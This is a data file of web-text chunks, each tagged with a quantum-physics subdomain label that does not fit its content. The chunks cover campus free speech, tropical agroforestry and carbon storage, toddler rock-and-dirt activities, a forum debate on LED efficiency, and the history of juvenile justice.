in guiltlessly finding them funny. i have even laughed at my old friend", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42710126235509954, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.977344"} {"text": "onion \u2019 s jokes about rape, workplace murder, crippled children and religious faith \u201c hurtful and offensive \u201d and exploitative of extraordinary pain. but i bet i was not alone in guiltlessly finding them funny. i have even laughed at my old friend \u2019 s holocaust jokes. here \u2019 s one : \u201c in forest hills ( known years ago as a community of survivors ) people crowded into bakeries don \u2019 t take numbers ; they just raise their arms. \u201d i have laughed at my late father in law \u2019 s definition of an anti - semite as \u201c someone who hates jews more than he should. \u201d this doesn \u2019 t mean i find the holocaust or anti - semitism funny. it does mean i have a sense of black humor, which is utterly lacking on many college and university campuses today, along with any sense of irony. satire is the enemy of political correctness, which makes it a frequent target of campus censors and speech codes that prohibit offensive jokes. \u201c ( m ) uch of comedy is saying what we all know we shouldn \u2019 t say, \u201d greg lukianoff, president of the foundation for individual rights in education ( fire ) a\u20ac\u00a8observes. his new book, \u201c unlearning liberty : campus censorship and the end of american debate, \u201d describes the dramatic decline of humor and free speech on campus. at washington state university, a student received death threats after writing and directing a satirical musical mocking identity politics in order to \u201c show people we \u2019 re not that different, we all have issues that can be made fun of. \u201d a mob of students disrupted the play and \u201c threatened to turn a theater performance into a full - scale riot. \u201d at lone star college, a student group was \u201c threatened with dissolution for distributing a tongue in cheek flyer listing \u2018 top ten gun safety tips, \u2019 \u201d including \u201c no matter how excited you are about buying your first gun, do not run around yelling, \u201c \u2018 i have a gun. i have a gun. \u2019 \u201d at yale, students were chastised for decorating a t - shirt with an f. scott fitzgerald quote, \u201c i think of all harvard men as sissies. \u201d the administration declared the t - shirts unacceptable and \u201c pulled the design. \u201d these incidents are not anomalous. they \u2019 re typical. censorship on campus is routine and perversely equated with tolerance. harvard officials condemned the satirical social club fliers as acts of intolerance, but the only intolerant actors in this familiar controversy are", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4324142199182892, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.978568"} {"text": "20 years of carbon sequestration on a 10 - acre tropical farm. by stephen ( esteban ) bartlett subtitle : only small - scale community - based agriculture can cool the planet and care for the earth \u2019 s fertility el guao, dominican republic it was in 1990 that i first saw ( and decided to buy ) the 10 acres of land that was to become the source of life and livelihood for my then young family and for the families who would work with us and for us. in rolling hills of dark red sandy loam mixed with caliche rock, overlooking the atlantic ocean about 2 miles distant and 650 feet above sea level, an ageing widower lived and worked on this land ( now for sale ) amidst a community of struggling families and individuals. there was no retirement for this gentleman as long as his children did not send him the support he needed, so he decided to sell the farm and move to a small house in town. he was getting tired and his body was getting too old for the physical rigors of subsistence farming and forestry. he had a daughter in town who wanted to support him there. absentee landholders then owned and in 2010 own even more today of the pastured fields of these coastal hills. these urban owners live in nearby towns or cities or in the capital city of santo domingo four hours drive to the south. for at least three generations, the land supported a fairly dense settlement of family farms, whose abandoned homesteads were in 1990 only in evidence by clusters of fruit trees and perennial herbs and flowers surrounded now by open stretches of pasture grasses and scattered royal palms, bordered by the living fences strung with barbed wire known as \u2018 pinon\u00b4 ( gliricidia sepium ). the grandchildren or great - grandchildren of the original settlers on this once dense tropical forest were to be our neighbors, who today have been largely replaced by haitian immigrant agricultural workers, a phenomenon with its own roots in international capitalism and neo - colonial economic policy. the dozens of haitian young men living in el guao in 2010 occupy the old houses built by dominican family farmers who have moved to the cities or died off. in looking at the transformations that have taken place in the community of el guao from 1990 to the eve of 2010, i am convinced anew, and with greater clarity, of this essential truth as expressed by the via campesina movement : without small - scale community - based farming there will be no solution to the fatal downfall of humanity due to natural calamity related to global warming and climate shock. the", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4604607359796157, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.000234"} {"text": "clarity, of this essential truth as expressed by the via campesina movement : without small - scale community - based farming there will be no solution to the fatal downfall of humanity due to natural calamity related to global warming and climate shock. the reason for this is simple : short of eliminating all humans from the face of the earth, or returning human presence to small bands of hunters and gatherers, only small - scale farmer - foresters in communities rooted to the land are capable of practicing the agro - ecological farming methods that are proven to allow the earth to store the excess co2 released into the atmosphere by deforestation and fossil fuel burning, a long - term calamity that is currently threatening our species\u00b4 collective future. and there is a corollary to that conviction : only small - scale community - based farming can provide for a wide and equitable distribution of the wealth derived from the productive capacities of the land under human labor. hence, social justice and the sustainability of flourishing communities also depend on the restoration of small - scale farming. the restoration of family farm economies is an essential win - win solution for all but the shareholders and executives in the world \u2019 s largest corporate monopolies. in 1990 this 10 acres that was to become our family farm was owned by isidro santo and, by inheritance law, the children of he and his deceased wife candida alvarez, who had to sign off on the sale. the land was mildly forested with a shaded coffee grove ( about an acre ), a crop field ( conuco ) and many fruit trees around the palm board house and also scattered among the mostly sloping pastured fields, surviving from previous garden plots turned to pasture now. about half of the farm consists of a rocky expanding slope bordering the road to the north ( facing the ocean horizon ) and a back southern half of fairly flat wedge where one of the crop fields and coffee grove are located. a natural waterhole that has never dried up in living memory, bordered by a huge pinon and a giant mango tree, collect the rainfall runoff from much of the pastured hills. isidro the ageing farmer was primarily a bee keeper and a wood sawyer, a member of those breed of men who use 7 foot long two - person saws to cut planks and beams for the construction of houses and outbuildings. isidro had planted many orange trees over the years which were now in their late years of productive life and his small and mature coffee grove likewise produced a couple hundred or so pounds of coffee", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.497548867569104, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.001273"} {"text": "and beams for the construction of houses and outbuildings. isidro had planted many orange trees over the years which were now in their late years of productive life and his small and mature coffee grove likewise produced a couple hundred or so pounds of coffee each year. there were also a wide variety of edible fruit trees, ranging from tropical plums to jobo de la india, nispero, tamarindo, and several others. the farm is surrounded by a 500 - acre cattle finishing ranch owned by one of the largest landholders of the area, who also own a slaughterhouse in the capital, from which beef is exported to the u. s. a typical pattern of tropical land use that allows for the maintenance of soil fertility over time is shifting cultivation. when virgin or mature forest stands are first cut down, the cycle begins. on the land where the forest has been cut, and often burned as a means of removing the considerable mass of fallen wood, crops like corn, beans, squashes, peppers, followed by cassava, cocoyams, bananas, plantains, etc \u2026 are planted in the new layer of ash and the \u00a8rested\u00a8 soil that has lain under forest for many years. after the first year or two of corn and bean crops, the farmer will also plant a scattering of avocado, lime, mango, breadfruit, orange, coconut tree seedlings and allow for the growth of a few volunteer royal palms ( for the oil seed to be fed to pigs and the thatch for the roofs of the dwellings ). some farmers with an eye for diversity and wood products, like isidro, will also protect valued timber tree species here and there, for use over time in maintaining or building structures on their land. in our area species such a cigua, cabirma, cuerno de buey, roble, juan primero, mahogany were planted or allowed to grow after sprouting naturally through bird droppings most often. once the land has begun to lose its fertility for crops like corn and sweet potatoes, it may be used to cultivate leguminous crops like peanuts, which was a widespread crop in these light soils supported by the peanut processing plant in abreu ( about 4 miles down on the coastal highway ). after a number of seasons of peanuts or two or three seasons of corn and beans, the exposed soils are typically in need of a rest, so the farmer switches over to cassava, or pigeon peas. by then some of the fruit trees are", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42963166565904864, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.002214"} {"text": ". after a number of seasons of peanuts or two or three seasons of corn and beans, the exposed soils are typically in need of a rest, so the farmer switches over to cassava, or pigeon peas. by then some of the fruit trees are starting to flower and bear fruit, and some of the palms have begun to grow into trees and shoot skyward. in the sandy loam the heavy rainfalls of this once rain forest leach many of the nutrients in tilled and cleared soils down into deeper subsoil layers, unavailable by the annual crops but reachable by the roots of fruit trees. if a farmer decided to plant coffee or cocoa trees in a former \u00b4conuco\u00b4 ( the name of the area where food crops are grown ), they would traditionally also plant tree species known to favor coffee with their shade and physiological complementarity, like amapola, guama, and also breadfruits or castano. my approach to the problem of exhausted soils was a system of agro - forestry within the fields. i planted leucaena trees grown in nurseries with the symbiotic root fungi in long north - south rows. the forage of these trees, once established, would provide a steady diet of green manure ( from the 21 % protein leaf ) to the soil and / or food for cattle who would in turn manure the soil. after the establishment of those trees and the re - introduction of cattle into those fields, our cows had the unusual distinction of producing more milk during times of drought, when we were primarily feeding leucaena leaf forage to make up for the loss of pasture grasses. as i have just alluded, another shifting rotation scheme short circuits the longer cycle through coffee and cocoa and involves growing corn on plowed or herbicided ground and then planting grass for pasture. in the case of isidro and many of the local farmers of the area, local milk and cheese production has encouraged people to raise milk cows because of the ready market for dairy products. so old crop and orchard areas are sometimes planted in grass too, which accounts for the many fruit trees dotting our pastures, a development that has, as a side effect, demonstrated that cows love fruits, from avocados to mangos to grapefruits to jaguas to sour oranges. cows love a diverse field as much as anyone, for shade and sweet snacks! the milk fat ( cream ) that rises to the top of the pot when pasteurizing milk from our cows has an", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46330769288018303, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.003174"} {"text": "or use herbicides to control the weeds. weeds and an occasional drought would also cause a lot of the pasture grasses to die, which would then have to be replanted on cleared ground. at the time, this was done by cutting the african pangola grasses from thick stands or from neighbors plots, or where grass was being removed to plant a conuco, and transplanting the grasses into our land with pickaxes after a heavy mowing and weeding operation. plowing could also be used to try to remove and kill weeds, but much of our pasture was too hilly and rocky for plowing. without exception, all of our neighbors had come to rely on using herbicides like round up ( gliphosate ) or gramozon and other woody plant herbicides to provide space for the grasses to flourish. vines like bejuco caro were constant headaches, since even herbicides could not kill them, and they had to be dried, piled and burned. in our area most of the pastures were heavily stocked and most were overgrazed, despite the high rainfall - high growth conditions. the more successful ranchers who were buying up the lands of the less successful ( or less capitalized or less able financial managers ) would sell off cattle at strategic moments to allow the grasses to rebound from heavy use, thus avoiding weed infestations or heavy erosion over time. on lands constantly grazed, as with milk cows that cannot be sold off periodically, the reversion of pastures to less productive grass species like saladillo or gramma was commonly observed. in fact, i believe that it was the advent of herbicide use in pasture establishment and maintenance that allowed for large land owners to expand their holdings economically. they could pay for a backpack spray pump, and the chemicals and train a worker or two to do the spraying, with a donkey to carry the water. otherwise hired labor costs would have made such expansions far more expensive, and less competitive with households that were providing much of that labor from within the family ( ie unpaid ). in a few seasons of timely and focused herbicide use, most of the weed species become greatly decimated, allowing for easier pasture maintenance. from our own experience, trying to maintain pastures manually was a never ending, toilsome and expensive activity accomplished by hiring several workers armed with machetes, pickaxes, and scrupulous enough to make fires to kill off the difficult - to - kill vines or thorny invasive species. for more than 15 years we tried to maintain our", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3906512035511256, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.006428"} {"text": "activity accomplished by hiring several workers armed with machetes, pickaxes, and scrupulous enough to make fires to kill off the difficult - to - kill vines or thorny invasive species. for more than 15 years we tried to maintain our pastures non - chemically, and since we were not present for 9 of those years and since our farm overseer was getting old and less able to do months of backbreaking, 8 - hour days, we had to make a change. in recent years we have made judicious use of herbicides and newly available grass varieties that we could plant by broadcasting purchased seeds, to re - establish pastures overgrazed by 15 years of the lives of our three productive cows and their offspring. during that period our oldest and best cebu - swiss cow, chocolate by name, gave birth to an astonishing 16 healthy calves in her productive life! ( the modern industrial milk cow on average does not even reach past her second birth and many do not reach completion of a second pregnancy. ) in addition to shifting cultivation and periodic reforestation of land, pasture grazing patterns are critical in maintaining the fertility of soils ( and their ability to store or sequester carbon ). tall stands of grass with well developed root systems hold large amounts of carbon and prevent leaching and erosion of the carbon in soils, as well as the valuable soils themselves. well - maintained herds who do not overgraze likewise deposit over time carbon in the form of manure, thus bringing more nutrients and organic material ( grass mulch and humis ) to the surface layers of the soil and to the roots of the grasses. in the same way, shifting cultivation of the kind i described above allow for the land to be put to a variety of productive uses while maintaining an overall density of carbon in the vegetation growing. on a given piece of land in shifting cultivation only in the first year or two is the field fully cleared of vegetation, for the first planting of corn, beans, squashes, peanuts, etc \u2026 after two or three years, shifting to cassava, cocoyam, banana cultivation, plowing or uprooting all the vegetation is no longer necessary and would only accelerate the loss of fertility, and the volume of vegetation increases in the 3 - dimensional, multi - layer intercropping. the weeds are cut by mowing machetes in what is called \u00b4chapeo\u00b4or \u00b4pic a tierra\u00b4 work. this does not disturb or turn the bare soil. root stocks of the bananas and root crops are", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46855008582976254, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.007420"} {"text": "one metric ton is 1, 000 kilograms, or 2, 250 pounds ), and it is possibly significantly larger than this. this calculation is based on the following : one mature timber tree yields usable lumber and sawdust and unusable wood weighing more than a metric ton total, not including the weight of the roots. a 40 % increase in forest cover consists of, say, some 800 timber trees averaging \u00be of a ton each grown over a total of 10 to 20 years, that would yield 600 tons, plus at least another 150 - 200 tons in root mass. increased pasture biomass, including leaf and roots could weigh 6 to 8 tons every 3 months on, say, the 7. 5 acres ( about 3 hectares of pasture or 24 to 32 tons per year as it is grazed ). over 20 years the amount of biomass consumed by cattle could reach 100 to 130 metric tons, with most of that returning to the soil as manure or trampled grass. the biomass in wood and leaf forage of, say, 3, 000 pinon and leucaena trees that line our pastures and grow in north south rows within some pastures must weigh somewhere in the range of 300 tons. a total of 1, 500 tons increase to a biomass that must have amounted to at least 2, 000 metric tons to begin with in 1990 thanks to the tree planting propensity of the former farmer / forester isidro santo. interestingly, some of the palm boards and two by fours of lumber hewn by isidro still grace the structure one of the houses on the farm. they are highly durable which conserves their co2 sequestration for many years. please keep in mind that this is entirely a rough extrapolation based on the weight of a single tree after 10, 15 or 20 years, the numbers of trees planted and growing and the estimated weight of a mass of grass mowed from a field based on some literature on the subject. but the point is this, only through a highly diversified use of the land could such increases in total biomass by achieved, compared to a starting point of an already diverse and significantly forested land use. small - scale farmers without the support of government extension, infrastructure and marketing cannot afford to plant large areas of their land in forest trees ( as we did ) whose benefits will only accrue after 10 to 15 years of growth. but given the opportunity to rationally manage land in terms of shifting cultivation, including timber trees, farmers would stand to benefit economically to a large degree, reaping considerable", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.47886694911753264, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.009405"} {"text": ") whose benefits will only accrue after 10 to 15 years of growth. but given the opportunity to rationally manage land in terms of shifting cultivation, including timber trees, farmers would stand to benefit economically to a large degree, reaping considerable benefits from the sale of valuable lumber, not to mention increased income from charcoal making using the waste wood of a small - scale lumbering operation. forest management extension programs and support by governments around the world should be a key component for improving farm production, soil fertility and carbon sequestration, as with support for the production of important staple foods for their populations combating hunger both rural and urban. as we know, the larger the land holding, the more likely the production of that land will be destined for exportation, and the profits therefore accruing to the exporter - importers, food processors, and distributors of that food, money that flows away from the farm, rural community and country of production. a farm and economic policy that would stimulate the circulating of that wealth at the local, regional and national levels, would be a motor for economic development, and a sure vehicle for redistributing wealth and for returning and retaining workers on the land, as independent, autonomous farmers or as decently paid field workers. agrarian reform is a vital need around the world, if we are to reverse global warming caused by deforestation and loss of co2 from the land. agrarian reform that makes land accessible to as many farmers as possible is essential. such agrarian reform could provide rural communities the kind of support that would allow and encourage them to practice diversified agro - ecological farming and forestry. the 20 years of tree planting on our farm in el guao is now yielding excellent lumber for the making of furniture and the building of homes, cut by the low - carbon one man saw techniques. the land now yields large amounts of wood prunings or wood fall that can be ( and is ) used directly for cooking or processed in rustic but efficient charcoal pyramids into saleable charcoal for cooking food, a renewable form of energy whose co2 is returned to the forest over time as new trees are grown for future meals to be cooked over. it yields increased soil fertility ( and therefore carbon storage ) in the pastures heavy with waist high grass, and in the fertility that accrues with shifting cultivation as soil is restored by the gradual restoration of vegetative and forest cover over time, producing edible and useful products throughout the cycle. it yields increased food supply on the farm and in the communities,", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.461725069145537, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.010438"} {"text": "in the fertility that accrues with shifting cultivation as soil is restored by the gradual restoration of vegetative and forest cover over time, producing edible and useful products throughout the cycle. it yields increased food supply on the farm and in the communities, more resilient to drought or flooding due to increased root mass and depth. our former coffee grove still has some coffee plants, sprouted from fallen seed from the mature old trees. but what that grove now yields after hurricanes knocked down the older shade and volunteer timber trees ( long ago turned into soil humus or charcoal ) is a crop of african yams, cocoyams ( tropical taro root ) and plantains that is feeding several families in the community. our farm overseer vitelbo understands shifting cultivation and he understands the nutrient cycles of land necessary for the food crops that can be grown on land. yams love the edge of the forest and grow well interplanted together with cocoyams and bananas, as well as wild plants some of which are used as medicines. yams take a year to yield, but the yield of each plant is a highly nutritious root that can weigh 20 to 50 pounds or more, and once dug up, the semi - perennial vine will continue to grow a new root to be eaten in a year to come. yam tubors consist of a creamy and dense potato - like root with good protein content, whose taste is beloved throughout the african diaspora, considered the king of tubors in west africa. the african yam, to my mind, is the quintessential crop for tropical humanity : it nourishes like little else can, and it grows in the forest, or at the edge of the forest. together with bananas and plantains, cocoyams and breadfruits, coconuts and \u00a8green cheese\u00a8 / avocados, these are the staffs of life for the small - scale tropical farm community, their true wealth and security in a time where forests are being razed across the world. yams, plantains, coconuts, avocados, breadfruits in local markets are typically signs that the forest continues to grow, as yams need the forest to climb upon. plantains produce their delicious abundance in small clearings in the forest. avocados, coconuts and breadfruits are part of the forest. african yams for breakfast with free range chicken eggs or for supper with fish or guinea fowl, is the earthy nectar of the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4434143272238549, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.013967"} {"text": "everybody needs a rock by byrd baylor if you find a rock by peggy christian let ' s go rock collecting by roma gans rocks by chris pellant dirt by steve tomecek dirt by natalie rosinsky dirt by luana k. mitten the dirt on dirt by paulette bourgeois dig and explore : materials : rocks, dirt, shovel or spoon description : bury several rocks in a bucket or tub of dirt. give your little one a spoon or shovel and let them dig in the dirt to find the rocks. they will have fun exploring. help your toddler count the rocks that they find. skills targeted : observe and explore their surroundings, sensory development, counting dry and wet dirt : materials : dirt, water description : let your toddler touch and play with dry dirt. after a few minutes add some water to the dirt and let your toddler touch and play with the wet dirt. talk with them about how it feels different when it gets wet. skills targeted : sensory development, compare and contrast noise maker : materials : empty water bottle, rocks, hot glue description : help your toddler fill an empty water bottle with several rocks. you and your child can count the rocks as you put them in the water bottle. hot glue the cap onto the water bottle, so that your little one will not be able to take it off. when the glue dries and is no longer hot, your little one can shake their new noise maker. skills targeted : sensory development, encourage listening, counting, motor skill development hop scotch : materials : side walk chalk, a rock description : draw a hop scotch sketch on the side walk. right the number 1 - 10 in each square. help your little one count as you write each number. show your toddler how to gently toss the rock into one of the squares. see if they can name the number that the rock landed in. your little one can walk, jump, or run to the square and pick up their rock. they can do this over and over again. skills targeted : number recognition, counting, motor skill development, encourage your toddler to get moving, language development hard and soft : materials : rocks, several soft objects ( such as cotton balls, pom - poms, marshmallows etc ), a box description : place several rocks into the box along with several soft objects. without looking, have your toddler reach into the box and grab and object. ask them if it is hard or soft before they take it out. have them take the object out and see", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.44433995793606, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.019359"} {"text": "place several rocks into the box along with several soft objects. without looking, have your toddler reach into the box and grab and object. ask them if it is hard or soft before they take it out. have them take the object out and see if they were correct. talk about the object. all the hard objects are rocks, so they will discover that rocks are hard. skills targeted : understand opposites, sensory development, compare and contrast how things feel, language development paint rocks : materials : rocks, paint, paint brushes description : provide several different colors of paint and paintbrushes for your toddler. give them a large rock and let them paint it. talk about rocks and how they are hard, as your little one is painting. skills targeted : sensory development, enhance creativity, language development rock hunt : materials : a bucket descriptions : give your toddler a bucket and take them outside. have them find and gather rocks. when have collected several rocks, dump them out and have your little one pick out their favorite rock. count the rocks together. they can even start a rock collection throughout the week. where ever you go, during the week, encourage your toddler to look for rocks and bring one or two home to add to their collection. skills targeted : counting, appreciate nature and the world around them, observe, sensory development, language development mud pie : materials : dirt, water, sticks, grass description : your toddler will love getting a little messy while making a mud pie. provide your toddler with dirt, a bucket of water, sticks and grass and help them make a mud pie. talk with your child about where they can find dirt and how it feels while you play. skills targeted : sensory development, encourage free play and creativity, language development plant a flower : materials : flower pot, dirt, flower or seeds, water description : talk with your child about how plants and flowers need dirt to grow. have your toddler help you fill a flower pot with dirt. they can place a flower or seeds in the dirt, and add more dirt to cover. your toddler can help you water the flower often. since easter is right around the corner, your toddler could plant a flower or seeds in a plastic egg. these make cute decorations for the upcoming holiday. skills targeted : understand how plants live and grown, encourage love of nature, enhance science skills, language development, sensory development, motor skill development count rocks : materials : rocks, sidewalk chalk description : have your little one find at least 10 rocks. write", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.455353948392359, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.020386"} {"text": "skills targeted : understand how plants live and grown, encourage love of nature, enhance science skills, language development, sensory development, motor skill development count rocks : materials : rocks, sidewalk chalk description : have your little one find at least 10 rocks. write the numbers 1 - 10 on the sidewalk and have your toddler put one rock on each number. with your toddler, count the rocks pointing to each number as you go. you can extend this activity by calling out a number and having your toddler go get the rock that is on that number. skills targeted : counting, number recognition, one to one correspondence, enhance math skills, follow directions, enhance listening skills songs and fingerplays : this is the way we play in the dirt : ( sung to the tune of this is the way we roll the ball ) i like to play in the dirt, play in the dirt, play in the dirt. i like to play in the dirt, in our backyard. i like to dig in the dirt, dig in the dirt, dig in the dirt. i like to dig in the dirt. in our backyard. i like to squish in the mud, squish in the mud, squish in the mud. i like to squish in the mud. in our backyard. rocks and dirt : ( sung to the tune mary had a little lamb ) rocks and dirt are so much fun, so much fun, so much fun. rocks and dirt are so much fun. i like rocks and dirt. i dig in the dirt to find rocks, to find rocks, to find rocks. i dig in the dirt to find rocks. look, i found 3! when it rains the dirt gets wet, dirt gets wet, dirt gets wet. when it rains the dirt gets wet. the dirt turns to mud! 5 little rocks : 1 little rock sat in a garden looking sad and blue. another rock rolled by and now there are 2. 2 little rocks sat in the garden happy as can be. another rock rolled by and now there are 3. 3 little rocks sat in the garden, wishing for some more. another rock happen too roll up and now there are 4. 4 little rocks sat in the garden, doing a jig and jive. another rock rolled by and now there are 5. snacks and recipes : 1 package of oreo cookies 8 oz. cream cheese 2 packs of vanilla instant pudding mix 12 oz. cool whip 1 c. powdered sugar mix cream cheese, cool whip and powdered sugar", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4397632386665097, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.021313"} {"text": "buzzard44 wrote : this seems pretty useless. the article states that when the power is halved by a factor of four, then the light output is halved. this means when you increase the power by a factor of 4, the light output is only doubled. given it is \" 230 % efficient \" ( which in itself is a bs play on semantics ), let ' s say i wanted, oh, a watt of light. just one watt. if the quadrupling the power to double the light holds true, we ' re talking megawatts of power. seems to me the concept is that you run each one at the almost vanishingly low power level where it works very efficiently, but make up for the low output by having millions of microscopic versions of this thing etched onto a single chip. since light output will scale linearly with number of leds, this theoretically could get you useful amounts of light at very high efficiency. such a device would be the equivalent of a peltier device where the \" hot \" side emits visible radiation instead of infrared ( heat ). another amusing implication of this phenomenon : such a device would cool itself down as it operates, and eventually stop working because it gets too cold! there would need to be the inverse of a heat sink ( a cold sink? ) attached to it to enable it to operate reliably! yogibbear wrote : okay. nothing is 230 % efficient. i don ' t care what the article says. or what they claim. or why it \" doesn ' t break \" conservation laws. it just cannot break it. the energy comes from somewhere. oh wow it \" draws it in \" from the surroundings... that ' s energy consumption. that ' s not 230 % efficiency. actually, any engineering students who ' ve done any undergrad level thermodynamics classes should be familiar with air conditioning systems which are greater than 100 % efficient. note however that entropy is not violated, as the heat output has higher entropy than the original system. yup, systems that utilize this effect can actually have a \" coefficient of performance \" of up to 5. 0 ( i. e. \" 500 % efficiency \", if we use the misleading interpretation from in the original article ). http : / / en. wikipedia. org / wiki / heat _ pump # efficiency", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.6359813484620345, "token_count": 477, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.023594"} {"text": "category : history of juvenile justice by barry krisberg september 1, 2005 \" a century ago, reformers proved that prisons don \u2019 t help wayward children. now america is learning that lesson all over again. \" in 1899, illinois and colorado established a new \u201c children \u2019 s court. \u201d the idea was to substitute treatment and care for punishment of delinquent youths. these changes were promoted by child advocates such as the famous social activist jane addams and crusading judges like denver \u2019 s ben lindsey, as well as influential women \u2019 s organizations and bar associations. over the next 20 years, the concept of a separate court system for minors spread to most states. although the new children \u2019 s court movement lacked adequate resources to fulfill its lofty mission, the intellectual promise was virtually unchallenged for two - thirds of the 20th century. several key assumptions lay behind the juvenile - court idea. first, children were not just \u201c small adults, \u201d and they needed to be handled differently. second, there was a need for specially trained legal and correctional professionals to work with minors. third, placing children in adult prisons and jails made them more antisocial and criminal. and \ufb01nally, the emerging science of rehabilitation could rescue many of these troubled young people from lives of crime. in the intervening years, a wealth of research has validated each of these premises. despite broad support within the academic, legal, and social - work professions, the ideal often failed to live up to its promise. over time, the juvenile - justice system in many states reverted to the punitive approach it was designed to replace. though they were often called \u201c training schools, \u201d the institutions were juvenile prisons. and the premise that the court, by de\ufb01nition, was acting \u201c in the best interest of the child \u201d left young offenders without the rights guaranteed to adult criminal defendants. there were repeated accounts of abusive practices. the duration of con\ufb01nement was often unrelated to the severity of the offense. juvenile hearings were usually secret, with no written transcripts and no right to appeal. minors were not provided legal counsel, there were no safeguards against self - incrimination, and offenders were denied liberty without the due process of law guaranteed by the u. s. constitution. a series of legal challenges culminated in the landmark 1967 supreme court decision in re gault. writing for the court, justice abe fortes proclaimed, \u201c under our constitution, the condition of being a boy does not justify a kangaroo court. \u201d reviewing the case of 15", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45550279337446853, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.041711"} {"text": "legal challenges culminated in the landmark 1967 supreme court decision in re gault. writing for the court, justice abe fortes proclaimed, \u201c under our constitution, the condition of being a boy does not justify a kangaroo court. \u201d reviewing the case of 15 - year - old gerald gault, who was sentenced to six years in an arizona youth correctional facility for making an obscene phone call, the court decreed that minors be afforded most of the due - process rights required in adult criminal courts. gault signaled a new era of reforms. one was a movement to divert as many youths as possible from the formal court system and to decriminalize \u201c juvenile status offenses \u201d such as truancy, running away, curfew violations, and incorrigibility. the 1970s witnessed widespread efforts to deinstitutionalize or \u201c decarcerate \u201d youngsters, moving them from secure detention centers and training schools to community - based programs that emphasized education and rehabilitation. the most dramatic example came in 1972 in massachusetts, where a respected reformer closed all of the state juvenile facilities and started over. jerome miller had been recruited to the state department of youth services ( dys ) to clean up a range of scandals and abuses. he encountered an intransigent bureaucracy. corrections officers opposed even such modest reforms as letting youngsters wear street clothing instead of prison uniforms, or not requiring that their heads be completely shaven. undeterred, miller decided to close down the state \u2019 s network of jail - like training schools. as the young inmates of the notorious lyman school were loaded onto a bus that would take them to dorms at the university of massachusetts, to be housed temporarily until being reassigned to community programs, one top miller deputy proclaimed to the shocked guards, \u201c you can have the institutions ; we are taking the kids. \u201d the training schools were replaced with a diverse network of small residential programs, typically with 25 children or fewer, located closer to the youths \u2019 home communities. a range of nonresidential programs included day reporting centers and intensive home - based supervision. the dys continued to operate about half of the most secure facilities. private nonpro\ufb01ts were recruited to run the rest, as well as all of the community - based programs. although miller left massachusetts soon after becoming the department \u2019 s youth - services commissioner, the bay state continued to expand and re\ufb01ne the alternatives to the old prison - like training schools and never reopened the large juvenile institutions. research by harvard law school and my organization, the national council on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4819462029958946, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.042689"} {"text": "the department \u2019 s youth - services commissioner, the bay state continued to expand and re\ufb01ne the alternatives to the old prison - like training schools and never reopened the large juvenile institutions. research by harvard law school and my organization, the national council on crime and delinquency, showed that the miller reforms successfully reduced the frequency and severity of new offenses of youth in the new programs compared with the training - school graduates. as the massachusetts model spread to many other states, congress in 1974 created the federal juvenile justice and delinquency prevention act, with bipartisan backing. the act established a federal office of juvenile justice and delinquency prevention ( ojjdp ) to conduct 